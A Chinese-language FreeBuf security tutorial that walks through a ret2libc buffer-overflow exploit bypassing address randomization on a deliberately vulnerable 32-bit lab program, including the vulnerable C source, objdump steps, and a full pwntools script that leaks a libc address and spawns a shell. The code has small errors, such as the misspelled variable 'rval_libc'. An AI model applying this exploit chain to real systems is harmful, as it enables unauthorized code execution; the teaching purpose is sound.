freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ret2libc过地址随机化
2020-05-08 09:00:37

之前我们运用ret2blic技术时,编译编译一个c文件,开启了栈不可执行关闭地址随机化,那么利用这个溢出时只需找到溢出点的位置,然后将其替换成system等函数和参数的地址来获取权限,这种情况下system与'/bin/sh'的地址并不会改变。而现在,我们在编译c文件时,开启了栈不可执行和地址随机化,system和'/bin/sh'会发生改变,那我们该如何获取system等的位置呢?

首先,这是我们进行实验的1.c文件,我们可以利用gets()函数来进行溢出

#include <stdio.h>

char buf2[20]="this is buf2";

void vul()

{char buf1[10];

gets(buf1);}

void main()

{write(1,"sinxx",5);

vul();}

我们将其编译设置为栈不可执行和地址随机化

gcc -m32 -fno-stack-protector -no-pie  -o 1.exe 1.c

接着,找出溢出点的位置:

11.png22.png溢出点的位置为22。

那么,我们要进行最重要的一步,找出system和'/bin/sh'的地址。这里我们需要了解几个知识点:

(1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)

(2)在linux的gcc使用C语言源文件的二进制文件时,经过预处理,编译,汇编,链接过程后,就会生成一个ELF格式的可以执行的文件。例如通过gcc hello.c -o hello即可生成一个文件名为hello的可执行文件,该程序会输出Hello World

(3)PLT表中的数据不是函数的真实地址,即带有@plt标志的函数,起个过渡作用

(4)GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址

(5)地址随机化并没有对PLT表、GOT表产生作用

了解到上面的知识点后,可以用下面的思路来获取地址:

(1)找到gets函数的真实地址

(2)计算出system和/bin/sh这两个参数与gets函数真实地址之间的差值,这样就可以找出system与/bin/sh的地址

(3)构造payload进行溢出

那么我们该如何获取gets函数的真实地址呢?

33.png这里可以看见调用了gets()函数,还可以看见gets@plt

那么使用此语句查看PLT表:objdump -d -M intel -j .plt 1.exe

44.png可以看见在我们执行gets函数时,我们会先去到plt表,然后又会jmp到GOT里面的真实地址:0x8049030

接下来我们计算计算system、/bin/sh与gets函数的相对偏移

55.png先加载1.exe依赖的库,ldd 1.exe看程序依赖什么库。相对偏移地址为 gets函数的真实地址减去在libc中的地址:

rva_libc=gets_real_addr-libc.symbols["gets"] 

我么就能知道system与'/bin/sh'的真实地址了,分别为:

addr_system=rva_libc+libc.symbols["system"]

addr_binsh=rval_libc+libc.search("/bin/sh").next()

接下来我们就可以开始写python文件1.py了:

from pwn import *

context(arch="i386",os="linux")

p=process("1.exe")//加载1.exe进程

e=ELF("1.exe")//加载1.exe文件,分析ELF结构

addr_write=e.plt["write"]

addr_gets=e.got["gets"]//gets函数最后的真实地址在got表中

addr_vul=e.symbols["vul"]//由于vul函数是自定义函数,所以在符号表中找到vul的地址

print pidof(p)//便于进行调试

offset=22

pause()

payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)/

p.sendlineafter("sinxx",payload1)//sinxx输完之后再输入payloads

gets_real_addr=u32(p.recv(4))//将地址转换成32位

libc=ELF("/lib/i386-linux-gnu/libc.so.6")//加载1.exe依赖的库

rva_libc=gets_real_addr-libc.symbols["gets"]//计算相对偏移

addr_system=rva_libc+libc.symbols["system"]//system的真实地址

addr_binsh=rval_libc+libc.search("/bin/sh").next()//  '/bin/sh'的真实地址

payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)

p.sendline(payload2)

p.interactive()

要注意的是payload1的构成结构,payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)我们在call一个函数的时候会先将这个函数的地址压入堆栈,然后将执行完函数要跳转到的地址压入堆栈,再将函数的参数压入堆栈,我们将vul的地址当成函数执行完之后的跳转地址,那么就可以跳转到payload2上。而且为了获取gets的真实地址,调用了write这个函数,然后将got表中gets的真实地址打印出来,其中'1'和'4'是write的两个参数。

而在构造payload2的时候payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)我们需要压入 执行完函数之后要跳转的地址,由于我们进行交互之后不需要考虑是否平衡堆栈,所以这个地址我们写0。

最后我们执行这个python文件,成功获得系统权限:

66.png

*本文作者:菜鸡CaiH,转载请注明来自FreeBuf.COM

# Ret2libc # 地址 # 随机化
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者